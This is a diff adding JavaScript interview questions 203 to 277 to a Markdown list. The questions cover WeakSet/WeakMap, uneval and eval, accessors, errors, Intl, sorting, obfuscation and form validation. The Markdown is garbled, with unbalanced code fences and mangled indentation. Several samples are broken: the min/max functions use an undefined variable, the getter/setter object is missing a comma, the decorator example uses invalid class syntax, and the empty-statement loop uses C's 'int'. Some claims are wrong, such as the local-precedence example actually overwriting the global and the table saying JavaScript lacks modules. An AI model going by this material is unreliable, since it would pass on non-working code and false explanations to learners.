+        ws.add(user);
+        ws.has(user); // true
+        ws.delete(user); // removes user from the set
+        ws.has(user); // false, user has been removed
+        ````
+
+204.    What are the differences between WeakSet and Set
+
+        The main difference is that references to objects in Set are strong while references to objects in WeakSet are weak. i.e, An object in WeakSet can be garbage collected if there is no other reference to it.
+        Other differences are,
+
+        1. Sets can store any value Whereas WeakSets can store only collections of objects
+        2. WeakSet does not have size property unlike Set
+        3. WeakSet does not have methods such as clear, keys, values, entries, forEach.
+        4. WeakSet is not iterable.
+
+205.    List down the collection of methods available on WeakSet
+
+             Below are the list of methods available on WeakSet,
+
+             1. add(value): A new object is appended with the given value to the weakset
+             2. delete(value): Deletes the value from the WeakSet collection.
+             3. has(value): It returns true if the value is present in the WeakSet Collection, otherwise it returns false.
+
+             Let's see the functionality of all the above methods in an example,
+
+             ```js
+
+        //
+        var weakSetObject = new WeakSet();
+        var firstObject = {};
+        var secondObject = {};
+        // add(value)
+        weakSetObject.add(firstObject);
+        weakSetObject.add(secondObject);
+        console.log(weakSetObject.has(firstObject)); //true
+        weakSetObject.delete(secondObject);
+
+        ```
+
+        ```
+
+206.    What is a WeakMap
+
+             The WeakMap object is a collection of key/value pairs in which the keys are weakly referenced. In this case, keys must be objects and the values can be arbitrary values. The syntax is looking like as below,
+
+             ```js
+
+        //
+        new WeakMap([iterable]);
+
+        ````
+
+             Let's see the below example to explain it's behavior,
+
+             ```js
+
+        //
+        var ws = new WeakMap();
+        var user = {};
+        ws.set(user);
+        ws.has(user); // true
+        ws.delete(user); // removes user from the map
+        ws.has(user); // false, user has been removed
+        ````
+
+207.    What are the differences between WeakMap and Map
+
+        The main difference is that references to key objects in Map are strong while references to key objects in WeakMap are weak. i.e, A key object in WeakMap can be garbage collected if there is no other reference to it.
+        Other differences are,
+
+        1. Maps can store any key type Whereas WeakMaps can store only collections of key objects
+        2. WeakMap does not have size property unlike Map
+        3. WeakMap does not have methods such as clear, keys, values, entries, forEach.
+        4. WeakMap is not iterable.
+
+208.    List down the collection of methods available on WeakMap
+
+             Below are the list of methods available on WeakMap,
+
+             1. set(key, value): Sets the value for the key in the WeakMap object. Returns the WeakMap object.
+             2. delete(key): Removes any value associated to the key.
+             3. has(key): Returns a Boolean asserting whether a value has been associated to the key in the WeakMap object or not.
+             4. get(key): Returns the value associated to the key, or undefined if there is none.
+                Let's see the functionality of all the above methods in an example,
+
+             ```js
+
+        //
+        var weakMapObject = new WeakMap();
+        var firstObject = {};
+        var secondObject = {};
+        // set(key, value)
+        weakMapObject.set(firstObject, 'John');
+        weakMapObject.set(secondObject, 100);
+        console.log(weakMapObject.has(firstObject)); //true
+        console.log(weakMapObject.get(firstObject)); // John
+        weakMapObject.delete(secondObject);
+
+        ```
+
+        ```
+
+209.    What is the purpose of uneval
+
+             The uneval() is an inbuilt function which is used to create a string representation of the source code of an Object. It is a top-level function and is not associated with any object. Let's see the below example to know more about it's functionality,
+
+             ```js
+
+        //
+        var a = 1;
+        uneval(a); // returns a String containing 1
+        uneval(function user() {}); // returns "(function user(){})"
+
+        ```
+
+        ```
+
+210.    How do you encode an URL
+
+             The encodeURI() function is used to encode complete URI which has special characters except (, / ? : @ & = + $ #) characters.
+
+             ```js
+
+        //
+        var uri = 'https://mozilla.org/?x=шеллы';
+        var encoded = encodeURI(uri);
+        console.log(encoded); // https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B
+
+        ```
+
+        ```
+
+211.    How do you decode an URL
+
+             The decodeURI() function is used to decode a Uniform Resource Identifier (URI) previously created by encodeURI().
+
+             ```js
+
+        //
+        var uri = 'https://mozilla.org/?x=шеллы';
+        var encoded = encodeURI(uri);
+        console.log(encoded); // https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B
+        try {
+        console.log(decodeURI(encoded)); // "https://mozilla.org/?x=шеллы"
+        } catch (e) {
+        // catches a malformed URI
+        console.error(e);
+        }
+
+        ```
+
+        ```
+
+212.    How do you print the contents of web page
+
+        The window object provided a print() method which is used to print the contents of the current window. It opens a Print dialog box which lets you choose between various printing options. Let's see the usage of print method in an example,
+
+        ```html
+        <input type="button" value="Print" onclick="window.print()" />
+        ```
+
+        **Note:** In most browsers, it will block while the print dialog is open.
+
+213.    What is the difference between uneval and eval
+
+             The `uneval` function returns the source of a given object; whereas the `eval` function does the opposite, by evaluating that source code in a different memory area. Let's see an example to clarify the difference,
+
+             ```js
+
+        //
+        var msg = uneval(function greeting() {
+        return 'Hello, Good morning';
+        });
+        var greeting = eval(msg);
+        greeting(); // returns "Hello, Good morning"
+
+        ```
+
+        ```
+
+214.    What is an anonymous function
+
+             An anonymous function is a function without a name! Anonymous functions are commonly assigned to a variable name or used as a callback function. The syntax would be as below,
+
+             ```js
+
+        //
+        function (optionalParameters) {
+        //do something
+        }
+
+             const myFunction = function(){ //Anonymous function assigned to a variable
+               //do something
+             };
+
+             [1, 2, 3].map(function(element){ //Anonymous function used as a callback function
+               //do something
+             });
+             ```
+
+             Let's see the above anonymous function in an example,
+
+             ```js
+
+        //
+        var x = function (a, b) {
+        return a \* b;
+        };
+        var z = x(5, 10);
+        console.log(z); // 50
+
+        ```
+
+        ```
+
+215.    What is the precedence order between local and global variables
+
+             A local variable takes precedence over a global variable with the same name. Let's see this behavior in an example.
+
+             ```js
+
+        //
+        var msg = 'Good morning';
+        function greeting() {
+        msg = 'Good Evening';
+        console.log(msg);
+        }
+        greeting();
+
+        ```
+
+        ```
+
+216.    What are javascript accessors
+
+             ECMAScript 5 introduced javascript object accessors or computed properties through getters and setters. Getters uses the `get` keyword whereas Setters uses the `set` keyword.
+
+             ```js
+
+        //
+        var user = {
+        firstName: "John",
+        lastName : "Abraham",
+        language : "en",
+        get lang() {
+        return this.language;
+        }
+        set lang(lang) {
+        this.language = lang;
+        }
+        };
+        console.log(user.lang); // getter access lang as en
+        user.lang = 'fr';
+        console.log(user.lang); // setter used to set lang as fr
+
+        ```
+
+        ```
+
+217.    How do you define property on Object constructor
+
+             The Object.defineProperty() static method is used to define a new property directly on an object, or modify an existing property on an object, and returns the object. Let's see an example to know how to define property,
+
+             ```js
+
+        //
+        const newObject = {};
+
+             Object.defineProperty(newObject, 'newProperty', {
+                 value: 100,
+                 writable: false
+             });
+
+             console.log(newObject.newProperty); // 100
+
+             newObject.newProperty = 200; // It throws an error in strict mode due to writable setting
+             ```
+
+218.    What is the difference between get and defineProperty
+
+        Both have similar results until unless you use classes. If you use `get` the property will be defined on the prototype of the object whereas using `Object.defineProperty()` the property will be defined on the instance it is applied to.
+
+219.    What are the advantages of Getters and Setters
+
+        Below are the list of benefits of Getters and Setters,
+
+        1. They provide simpler syntax
+        2. They are used for defining computed properties, or accessors in JS.
+        3. Useful to provide equivalence relation between properties and methods
+        4. They can provide better data quality
+        5. Useful for doing things behind the scenes with the encapsulated logic.
+
+220.    Can I add getters and setters using defineProperty method
+
+             Yes, You can use the `Object.defineProperty()` method to add Getters and Setters. For example, the below counter object uses increment, decrement, add and subtract properties,
+
+             ```js
+
+        //
+        var obj = { counter: 0 };
+
+             // Define getters
+             Object.defineProperty(obj, 'increment', {
+                 get: function () {
+                     this.counter++;
+                 }
+             });
+             Object.defineProperty(obj, 'decrement', {
+                 get: function () {
+                     this.counter--;
+                 }
+             });
+
+             // Define setters
+             Object.defineProperty(obj, 'add', {
+                 set: function (value) {
+                     this.counter += value;
+                 }
+             });
+             Object.defineProperty(obj, 'subtract', {
+                 set: function (value) {
+                     this.counter -= value;
+                 }
+             });
+
+             obj.add = 10;
+             obj.subtract = 5;
+             console.log(obj.increment); //6
+             console.log(obj.decrement); //5
+             ```
+
+221.    What is the purpose of switch-case
+
+             The switch case statement in JavaScript is used for decision making purposes. In a few cases, using the switch case statement is going to be more convenient than if-else statements. The syntax would be as below,
+
+             ```js
+
+        //
+        switch (expression)
+        {
+        case value1:
+        statement1;
+        break;
+        case value2:
+        statement2;
+        break;
+        .
+        .
+        case valueN:
+        statementN;
+        break;
+        default:
+        statementDefault;
+        }
+
+        ```
+
+             The above multi-way branch statement provides an easy way to dispatch execution to different parts of code based on the value of the expression.
+
+        ```
+
+222.    What are the conventions to be followed for the usage of switch case
+
+        Below are the list of conventions should be taken care,
+
+        1. The expression can be of type either number or string.
+        2. Duplicate values are not allowed for the expression.
+        3. The default statement is optional. If the expression passed to switch does not match with any case value then the statement within default case will be executed.
+        4. The break statement is used inside the switch to terminate a statement sequence.
+        5. The break statement is optional. But if it is omitted, the execution will continue on into the next case.
+
+223.    What are primitive data types
+
+        A primitive data type is data that has a primitive value (which has no properties or methods). There are 7 types of primitive data types.
+
+        1. string
+        2. number
+        3. boolean
+        4. null
+        5. undefined
+        6. bigint
+        7. symbol
+
+224.    What are the different ways to access object properties
+
+             There are 3 possible ways for accessing the property of an object.
+
+             1. **Dot notation:** It uses dot for accessing the properties
+
+             ```js
+
+        //
+        objectName.property;
+
+        ````
+
+             1. **Square brackets notation:** It uses square brackets for property access
+
+             ```js
+
+        //
+        objectName['property'];
+        ````
+
+             1. **Expression notation:** It uses expression in the square brackets
+
+             ```js
+
+        //
+        objectName[expression];
+
+        ```
+
+        ```
+
+225.    What are the function parameter rules
+
+             JavaScript functions follow below rules for parameters,
+
+             1. The function definitions do not specify data types for parameters.
+             2. Do not perform type checking on the passed arguments.
+             3. Do not check the number of arguments received.
+                i.e, The below function follows the above rules,
+
+             ```js
+
+        //
+        function functionName(parameter1, parameter2, parameter3) {
+        console.log(parameter1); // 1
+        }
+        functionName(1);
+
+        ```
+
+        ```
+
+226.    What is an error object
+
+             An error object is a built in error object that provides error information when an error occurs. It has two properties: name and message. For example, the below function logs error details,
+
+             ```js
+
+        //
+        try {
+        greeting('Welcome');
+        } catch (err) {
+        console.log(err.name + '<br>' + err.message);
+        }
+
+        ```
+
+        ```
+
+227.    When you get a syntax error
+
+             A SyntaxError is thrown if you try to evaluate code with a syntax error. For example, the below missing quote for the function parameter throws a syntax error
+
+             ```js
+
+        //
+        try {
+        eval("greeting('welcome)"); // Missing ' will produce an error
+        } catch (err) {
+        console.log(err.name);
+        }
+
+        ```
+
+        ```
+
+228.    What are the different error names from error object
+
+        There are 6 different types of error names returned from error object,
+        | Error Name | Description |
+        |---- | ---------
+        | EvalError | An error has occurred in the eval() function |
+        | RangeError | An error has occurred with a number "out of range" |
+        | ReferenceError | An error due to an illegal reference|
+        | SyntaxError | An error due to a syntax error|
+        | TypeError | An error due to a type error |
+        | URIError | An error due to encodeURI() |
+
+229.    What are the various statements in error handling
+
+        Below are the list of statements used in an error handling,
+
+        1. **try:** This statement is used to test a block of code for errors
+        2. **catch:** This statement is used to handle the error
+        3. **throw:** This statement is used to create custom errors.
+        4. **finally:** This statement is used to execute code after try and catch regardless of the result.
+
+230.    What are the two types of loops in javascript
+
+        1. **Entry Controlled loops:** In this kind of loop type, the test condition is tested before entering the loop body. For example, For Loop and While Loop comes under this category.
+        2. **Exit Controlled Loops:** In this kind of loop type, the test condition is tested or evaluated at the end of the loop body. i.e, the loop body will execute at least once irrespective of test condition true or false. For example, do-while loop comes under this category.
+
+231.    What is nodejs
+
+        Node.js is a server-side platform built on Chrome's JavaScript runtime for easily building fast and scalable network applications. It is an event-based, non-blocking, asynchronous I/O runtime that uses Google's V8 JavaScript engine and libuv library.
+
+232.    What is an Intl object
+
+        The Intl object is the namespace for the ECMAScript Internationalization API, which provides language sensitive string comparison, number formatting, and date and time formatting. It provides access to several constructors and language sensitive functions.
+
+233.    How do you perform language specific date and time formatting
+
+             You can use the `Intl.DateTimeFormat` object which is a constructor for objects that enable language-sensitive date and time formatting. Let's see this behavior with an example,
+
+             ```js
+
+        //
+        var date = new Date(Date.UTC(2019, 07, 07, 3, 0, 0));
+        console.log(new Intl.DateTimeFormat('en-GB').format(date)); // 07/08/2019
+        console.log(new Intl.DateTimeFormat('en-AU').format(date)); // 07/08/2019
+
+        ```
+
+        ```
+
+234.    What is an Iterator
+
+        An iterator is an object which defines a sequence and a return value upon its termination. It implements the Iterator protocol with a `next()` method which returns an object with two properties: `value` (the next value in the sequence) and `done` (which is true if the last value in the sequence has been consumed).
+
+235.    How does synchronous iteration works
+
+             Synchronous iteration was introduced in ES6 and it works with below set of components,
+
+             **Iterable:** It is an object which can be iterated over via a method whose key is Symbol.iterator.
+             **Iterator:** It is an object returned by invoking `[Symbol.iterator]()` on an iterable. This iterator object wraps each iterated element in an object and returns it via `next()` method one by one.
+             **IteratorResult:** It is an object returned by `next()` method. The object contains two properties; the `value` property contains an iterated element and the `done` property determines whether the element is the last element or not.
+
+             Let's demonstrate synchronous iteration with an array as below,
+
+             ```js
+
+        //
+        const iterable = ['one', 'two', 'three'];
+        const iterator = iterable[Symbol.iterator]();
+        console.log(iterator.next()); // { value: 'one', done: false }
+        console.log(iterator.next()); // { value: 'two', done: false }
+        console.log(iterator.next()); // { value: 'three', done: false }
+        console.log(iterator.next()); // { value: 'undefined, done: true }
+
+        ```
+
+        ```
+
+236.    What is an event loop
+
+        The Event Loop is a queue of callback functions. When an async function executes, the callback function is pushed into the queue. The JavaScript engine doesn't start processing the event loop until the async function has finished executing the code.
+        **Note:** It allows Node.js to perform non-blocking I/O operations even though JavaScript is single-threaded.
+
+237.    What is call stack
+
+             Call Stack is a data structure for javascript interpreters to keep track of function calls in the program. It has two major actions,
+
+             1. Whenever you call a function for its execution, you are pushing it to the stack.
+             2. Whenever the execution is completed, the function is popped out of the stack.
+
+             Let's take an example and it's state representation in a diagram format
+
+             ```js
+
+        //
+        function hungry() {
+        eatFruits();
+        }
+        function eatFruits() {
+        return "I'm eating fruits";
+        }
+
+             // Invoke the `hungry` function
+             hungry();
+             ```
+
+             The above code processed in a call stack as below,
+
+             1. Add the `hungry()` function to the call stack list and execute the code.
+             2. Add the `eatFruits()` function to the call stack list and execute the code.
+             3. Delete the `eatFruits()` function from our call stack list.
+             4. Delete the `hungry()` function from the call stack list since there are no items anymore.
+
+             ![Screenshot](images/call-stack.png)
+
+238.    What is an event queue
+
+239.    What is a decorator
+
+             A decorator is an expression that evaluates to a function and that takes the target, name, and decorator descriptor as arguments. Also, it optionally returns a decorator descriptor to install on the target object. Let's define admin decorator for user class at design time,
+
+             ```js
+
+        //
+        function admin(isAdmin) {
+        return function(target) {
+        target.isAdmin = isAdmin;
+        }
+        }
+
+             @admin(true)
+             class User() {
+             }
+             console.log(User.isAdmin); //true
+
+              @admin(false)
+              class User() {
+              }
+              console.log(User.isAdmin); //false
+             ```
+
+240.    What are the properties of Intl object
+
+        Below are the list of properties available on Intl object,
+
+        1. **Collator:** These are the objects that enable language-sensitive string comparison.
+        2. **DateTimeFormat:** These are the objects that enable language-sensitive date and time formatting.
+        3. **ListFormat:** These are the objects that enable language-sensitive list formatting.
+        4. **NumberFormat:** Objects that enable language-sensitive number formatting.
+        5. **PluralRules:** Objects that enable plural-sensitive formatting and language-specific rules for plurals.
+        6. **RelativeTimeFormat:** Objects that enable language-sensitive relative time formatting.
+
+241.    What is an Unary operator
+
+             The unary(+) operator is used to convert a variable to a number.If the variable cannot be converted, it will still become a number but with the value NaN. Let's see this behavior in an action.
+
+             ```js
+
+        //
+        var x = '100';
+        var y = +x;
+        console.log(typeof x, typeof y); // string, number
+
+             var a = 'Hello';
+             var b = +a;
+             console.log(typeof a, typeof b, b); // string, number, NaN
+             ```
+
+242.    How do you sort elements in an array
+
+             The sort() method is used to sort the elements of an array in place and returns the sorted array. The example usage would be as below,
+
+             ```js
+
+        //
+        var months = ['Aug', 'Sep', 'Jan', 'June'];
+        months.sort();
+        console.log(months); // ["Aug", "Jan", "June", "Sep"]
+
+        ```
+
+        ```
+
+243.    What is the purpose of compareFunction while sorting arrays
+
+             The compareFunction is used to define the sort order. If omitted, the array elements are converted to strings, then sorted according to each character's Unicode code point value. Let's take an example to see the usage of compareFunction,
+
+             ```js
+
+        //
+        let numbers = [1, 2, 5, 3, 4];
+        numbers.sort((a, b) => b - a);
+        console.log(numbers); // [5, 4, 3, 2, 1]
+
+        ```
+
+        ```
+
+244.    How do you reversing an array
+
+             You can use the reverse() method to reverse the elements in an array. This method is useful to sort an array in descending order. Let's see the usage of reverse() method in an example,
+
+             ```js
+
+        //
+        let numbers = [1, 2, 5, 3, 4];
+        numbers.sort((a, b) => b - a);
+        numbers.reverse();
+        console.log(numbers); // [1, 2, 3, 4 ,5]
+
+        ```
+
+        ```
+
+245.    How do you find min and max value in an array
+
+             You can use `Math.min` and `Math.max` methods on array variables to find the minimum and maximum elements within an array. Let's create two functions to find the min and max value with in an array,
+
+             ```js
+
+        //
+        var marks = [50, 20, 70, 60, 45, 30];
+        function findMin(arr) {
+        return Math.min.apply(null, arr);
+        }
+        function findMax(arr) {
+        return Math.max.apply(null, arr);
+        }
+
+             console.log(findMin(marks));
+             console.log(findMax(marks));
+             ```
+
+246.    How do you find min and max values without Math functions
+
+             You can write functions which loop through an array comparing each value with the lowest value or highest value to find the min and max values. Let's create those functions to find min and max values,
+
+             ```js
+
+        //
+        var marks = [50, 20, 70, 60, 45, 30];
+        function findMin(arr) {
+        var length = arr.length;
+        var min = Infinity;
+        while (length--) {
+        if (arr[length] < min) {
+        min = arr[len];
+        }
+        }
+        return min;
+        }
+
+             function findMax(arr) {
+                 var length = arr.length;
+                 var max = -Infinity;
+                 while (len--) {
+                     if (arr[length] > max) {
+                         max = arr[length];
+                     }
+                 }
+                 return max;
+             }
+
+             console.log(findMin(marks));
+             console.log(findMax(marks));
+             ```
+
+247.    What is an empty statement and purpose of it
+
+             The empty statement is a semicolon (;) indicating that no statement will be executed, even if JavaScript syntax requires one. Since there is no action with an empty statement you might think that it's usage is quite less, but the empty statement is occasionally useful when you want to create a loop that has an empty body. For example, you can initialize an array with zero values as below,
+
+             ```js
+
+        //
+        // Initialize an array a
+        for(int i=0; i < a.length; a[i++] = 0) ;
+
+        ```
+
+        ```
+
+248.    How do you get metadata of a module
+
+             You can use the `import.meta` object which is a meta-property exposing context-specific meta data to a JavaScript module. It contains information about the current module, such as the module's URL. In browsers, you might get different meta data than NodeJS.
+
+             ```js
+
+        //
+        <script type="module" src="welcome-module.js">
+        </script>;
+
+        console.log(import.meta); // { url: "file:///home/user/welcome-module.js" }
+
+        ```
+
+        ```
+
+249.    What is a comma operator
+
+             The comma operator is used to evaluate each of its operands from left to right and returns the value of the last operand. This is totally different from comma usage within arrays, objects, and function arguments and parameters. For example, the usage for numeric expressions would be as below,
+
+             ```js
+
+        //
+        var x = 1;
+        x = (x++, x);
+
+             console.log(x); // 2
+             ```
+
+250.    What is the advantage of a comma operator
+
+             It is normally used to include multiple expressions in a location that requires a single expression. One of the common usages of this comma operator is to supply multiple parameters in a `for` loop. For example, the below for loop uses multiple expressions in a single location using comma operator,
+
+             ```js
+
+        //
+        for (var a = 0, b =10; a <= 10; a++, b--)
+
+        ````
+
+             You can also use the comma operator in a return statement where it processes before returning.
+
+             ```js
+
+        //
+        function myFunction() {
+        var a = 1;
+        return (a += 10), a; // 11
+        }
+        ````
+
+251.    What is typescript
+
+        TypeScript is a typed superset of JavaScript created by Microsoft that adds optional types, classes, async/await, and many other features, and compiles to plain JavaScript. Angular built entirely in TypeScript and used as a primary language. You can install it globally as
+
+        ```console
+        npm install -g typescript
+        ```
+
+        Let's see a simple example of TypeScript usage,
+
+        ```typescript
+        function greeting(name: string): string {
+            return 'Hello, ' + name;
+        }
+
+        let user = 'Sudheer';
+
+        console.log(greeting(user));
+        ```
+
+        The greeting method allows only string type as argument.
+
+252.    What are the differences between javascript and typescript
+
+        Below are the list of differences between javascript and typescript,
+
+        | feature             | typescript                            | javascript                                      |
+        | ------------------- | ------------------------------------- | ----------------------------------------------- |
+        | Language paradigm   | Object oriented programming language  | Scripting language                              |
+        | Typing support      | Supports static typing                | It has dynamic typing                           |
+        | Modules             | Supported                             | Not supported                                   |
+        | Interface           | It has interfaces concept             | Doesn't support interfaces                      |
+        | Optional parameters | Functions support optional parameters | No support of optional parameters for functions |
+
+253.    What are the advantages of typescript over javascript
+
+        Below are some of the advantages of typescript over javascript,
+
+        1. TypeScript is able to find compile time errors at the development time only and it makes sures less runtime errors. Whereas javascript is an interpreted language.
+        2. TypeScript is strongly-typed or supports static typing which allows for checking type correctness at compile time. This is not available in javascript.
+        3. TypeScript compiler can compile the .ts files into ES3,ES4 and ES5 unlike ES6 features of javascript which may not be supported in some browsers.
+
+254.    What is an object initializer
+
+             An object initializer is an expression that describes the initialization of an Object. The syntax for this expression is represented as a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}). This is also known as literal notation. It is one of the ways to create an object.
+
+             ```js
+
+        //
+        var initObject = { a: 'John', b: 50, c: {} };
+
+             console.log(initObject.a); // John
+             ```
+
+255.    What is a constructor method
+
+             The constructor method is a special method for creating and initializing an object created within a class. If you do not specify a constructor method, a default constructor is used. The example usage of constructor would be as below,
+
+             ```js
+
+        //
+        class Employee {
+        constructor() {
+        this.name = 'John';
+        }
+        }
+
+             var employeeObject = new Employee();
+
+             console.log(employeeObject.name); // John
+             ```
+
+256.    What happens if you write constructor more than once in a class
+
+             The "constructor" in a class is a special method and it should be defined only once in a class. i.e, If you write a constructor method more than once in a class it will throw a `SyntaxError` error.
+
+             ```js
+
+        //
+        class Employee {
+        constructor() {
+        this.name = "John";
+        }
+        constructor() { // Uncaught SyntaxError: A class may only have one constructor
+        this.age = 30;
+        }
+        }
+
+              var employeeObject = new Employee();
+
+              console.log(employeeObject.name);
+             ```
+
+257.    How do you call the constructor of a parent class
+
+             You can use the `super` keyword to call the constructor of a parent class. Remember that `super()` must be called before using 'this' reference. Otherwise it will cause a reference error. Let's the usage of it,
+
+             ```js
+
+        //
+        class Square extends Rectangle {
+        constructor(length) {
+        super(length, length);
+        this.name = 'Square';
+        }
+
+                 get area() {
+                     return this.width * this.height;
+                 }
+
+                 set area(value) {
+                     this.area = value;
+                 }
+             }
+             ```
+
+258.    How do you get the prototype of an object
+
+             You can use the `Object.getPrototypeOf(obj)` method to return the prototype of the specified object. i.e. The value of the internal `prototype` property. If there are no inherited properties then `null` value is returned.
+
+             ```js
+
+        //
+        const newPrototype = {};
+        const newObject = Object.create(newPrototype);
+
+             console.log(Object.getPrototypeOf(newObject) === newPrototype); // true
+             ```
+
+259.    What happens If I pass string type for getPrototype method
+
+             In ES5, it will throw a TypeError exception if the obj parameter isn't an object. Whereas in ES2015, the parameter will be coerced to an `Object`.
+
+             ```js
+
+        //
+        // ES5
+        Object.getPrototypeOf('James'); // TypeError: "James" is not an object
+        // ES2015
+        Object.getPrototypeOf('James'); // String.prototype
+
+        ```
+
+        ```
+
+260.    How do you set prototype of one object to another
+
+             You can use the `Object.setPrototypeOf()` method that sets the prototype (i.e., the internal `Prototype` property) of a specified object to another object or null. For example, if you want to set prototype of a square object to rectangle object would be as follows,
+
+             ```js
+
+        //
+        Object.setPrototypeOf(Square.prototype, Rectangle.prototype);
+        Object.setPrototypeOf({}, null);
+
+        ```
+
+        ```
+
+261.    How do you check whether an object can be extendable or not
+
+             The `Object.isExtensible()` method is used to determine if an object is extendable or not. i.e, Whether it can have new properties added to it or not.
+
+             ```js
+
+        //
+        const newObject = {};
+        console.log(Object.isExtensible(newObject)); //true
+
+        ```
+
+             **Note:** By default, all the objects are extendable. i.e, The new properties can be added or modified.
+
+        ```
+
+262.    How do you prevent an object to extend
+
+             The `Object.preventExtensions()` method is used to prevent new properties from ever being added to an object. In other words, it prevents future extensions to the object. Let's see the usage of this property,
+
+             ```js
+
+        //
+        const newObject = {};
+        Object.preventExtensions(newObject); // NOT extendable
+
+             try {
+                 Object.defineProperty(newObject, 'newProperty', {
+                     // Adding new property
+                     value: 100
+                 });
+             } catch (e) {
+                 console.log(e); // TypeError: Cannot define property newProperty, object is not extensible
+             }
+             ```
+
+263.    What are the different ways to make an object non-extensible
+
+             You can mark an object non-extensible in 3 ways,
+
+             1. Object.preventExtensions
+             2. Object.seal
+             3. Object.freeze
+
+             ```js
+
+        //
+        var newObject = {};
+
+             Object.preventExtensions(newObject); // Prevent objects are non-extensible
+             Object.isExtensible(newObject); // false
+
+             var sealedObject = Object.seal({}); // Sealed objects are non-extensible
+             Object.isExtensible(sealedObject); // false
+
+             var frozenObject = Object.freeze({}); // Frozen objects are non-extensible
+             Object.isExtensible(frozenObject); // false
+             ```
+
+264.    How do you define multiple properties on an object
+
+             The `Object.defineProperties()` method is used to define new or modify existing properties directly on an object and returning the object. Let's define multiple properties on an empty object,
+
+             ```js
+
+        //
+        const newObject = {};
+
+             Object.defineProperties(newObject, {
+                 newProperty1: {
+                     value: 'John',
+                     writable: true
+                 },
+                 newProperty2: {}
+             });
+             ```
+
+265.    What is MEAN in javascript
+
+        The MEAN (MongoDB, Express, AngularJS, and Node.js) stack is the most popular open-source JavaScript software tech stack available for building dynamic web apps where you can write both the server-side and client-side halves of the web project entirely in JavaScript.
+
+266.    What Is Obfuscation in javascript
+
+             Obfuscation is the deliberate act of creating obfuscated javascript code(i.e, source or machine code) that is difficult for humans to understand. It is something similar to encryption, but a machine can understand the code and execute it.
+             Let's see the below function before Obfuscation,
+
+             ```js
+
+        //
+        function greeting() {
+        console.log('Hello, welcome to JS world');
+        }
+
+        ````
+
+             And after the code Obfuscation, it would be appeared as below,
+
+             ```js
+
+        //
+        eval(
+        (function (p, a, c, k, e, d) {
+        e = function (c) {
+        return c;
+        };
+        if (!''.replace(/^/, String)) {
+        while (c--) {
+        d[c] = k[c] || c;
+        }
+        k = [
+        function (e) {
+        return d[e];
+        }
+        ];
+        e = function () {
+        return '\\w+';
+        };
+        c = 1;
+        }
+        while (c--) {
+        if (k[c]) {
+        p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
+        }
+        }
+        return p;
+        })("2 1(){0.3('4, 7 6 5 8')}", 9, 9, 'console|greeting|function|log|Hello|JS|to|welcome|world'.split('|'), 0, {})
+        );
+        ````
+
+267.    Why do you need Obfuscation
+
+        Below are the few reasons for Obfuscation,
+
+        1. The Code size will be reduced. So data transfers between server and client will be fast.
+        2. It hides the business logic from outside world and protects the code from others
+        3. Reverse engineering is highly difficult
+        4. The download time will be reduced
+
+268.    What is Minification
+
+        Minification is the process of removing all unnecessary characters(empty spaces are removed) and variables will be renamed without changing it's functionality. It is also a type of obfuscation .
+
+269.    What are the advantages of minification
+
+        Normally it is recommended to use minification for heavy traffic and intensive requirements of resources. It reduces file sizes with below benefits,
+
+        1. Decreases loading times of a web page
+        2. Saves bandwidth usages
+
+270.    What are the differences between Obfuscation and Encryption
+
+        Below are the main differences between Obfuscation and Encryption,
+
+        | Feature            | Obfuscation                                     | Encryption                                                              |
+        | ------------------ | ----------------------------------------------- | ----------------------------------------------------------------------- |
+        | Definition         | Changing the form of any data in any other form | Changing the form of information to an unreadable format by using a key |
+        | A key to decode    | It can be decoded without any key               | It is required                                                          |
+        | Target data format | It will be converted to a complex form          | Converted into an unreadable format                                     |
+
+271.    What are the common tools used for minification
+
+        There are many online/offline tools to minify the javascript files,
+
+        1. Google's Closure Compiler
+        2. UglifyJS2
+        3. jsmin
+        4. javascript-minifier.com/
+        5. prettydiff.com
+
+272.    How do you perform form validation using javascript
+
+             JavaScript can be used to perform HTML form validation. For example, if the form field is empty, the function needs to notify, and return false, to prevent the form being submitted.
+             Lets' perform user login in an html form,
+
+             ```html
+             <form name="myForm" onsubmit="return validateForm()" method="post">
+                 User name: <input type="text" name="uname" />
+                 <input type="submit" value="Submit" />
+             </form>
+             ```
+
+             And the validation on user login is below,
+
+             ```js
+
+        //
+        function validateForm() {
+        var x = document.forms['myForm']['uname'].value;
+        if (x == '') {
+        alert("The username shouldn't be empty");
+        return false;
+        }
+        }
+
+        ```
+
+        ```
+
+273.    How do you perform form validation without javascript
+
+        You can perform HTML form validation automatically without using javascript. The validation enabled by applying the `required` attribute to prevent form submission when the input is empty.
+
+        ```html
+        <form method="post">
+            <input type="text" name="uname" required />
+            <input type="submit" value="Submit" />
+        </form>
+        ```
+
+        **Note:** Automatic form validation does not work in Internet Explorer 9 or earlier.
+
+274.    What are the DOM methods available for constraint validation
+
+             The below DOM methods are available for constraint validation on an invalid input,
+
+             1. checkValidity(): It returns true if an input element contains valid data.
+             2. setCustomValidity(): It is used to set the validationMessage property of an input element.
+                Let's take an user login form with DOM validations
+
+             ```js
+
+        //
+        function myFunction() {
+        var userName = document.getElementById('uname');
+        if (!userName.checkValidity()) {
+        document.getElementById('message').innerHTML = userName.validationMessage;
+        } else {
+        document.getElementById('message').innerHTML = 'Entered a valid username';
+        }
+        }
+
+        ```
+
+        ```
+
+275.    What are the available constraint validation DOM properties
+
+        Below are the list of some of the constraint validation DOM properties available,
+
+        1. validity: It provides a list of boolean properties related to the validity of an input element.
+        2. validationMessage: It displays the message when the validity is false.
+        3. willValidate: It indicates if an input element will be validated or not.
+
+276.    What are the list of validity properties
+
+        The validity property of an input element provides a set of properties related to the validity of data.
+
+        1. customError: It returns true, if a custom validity message is set.
+        2. patternMismatch: It returns true, if an element's value does not match its pattern attribute.
+        3. rangeOverflow: It returns true, if an element's value is greater than its max attribute.
+        4. rangeUnderflow: It returns true, if an element's value is less than its min attribute.
+        5. stepMismatch: It returns true, if an element's value is invalid according to step attribute.
+        6. tooLong: It returns true, if an element's value exceeds its maxLength attribute.
+        7. typeMismatch: It returns true, if an element's value is invalid according to type attribute.
+        8. valueMissing: It returns true, if an element with a required attribute has no value.
+        9. valid: It returns true, if an element's value is valid.
+
+277.    Give an example usage of rangeOverflow property
+
+             If an element's value is greater than its max attribute then rangeOverflow property returns true. For example, the below form submission throws an error if the value is more than 100,
+
+             ```html
+             <input id="age" type="number" max="100" /> <button onclick="myOverflowFunction()">OK</button>
+             ```
+
+             ```js
+
+        //
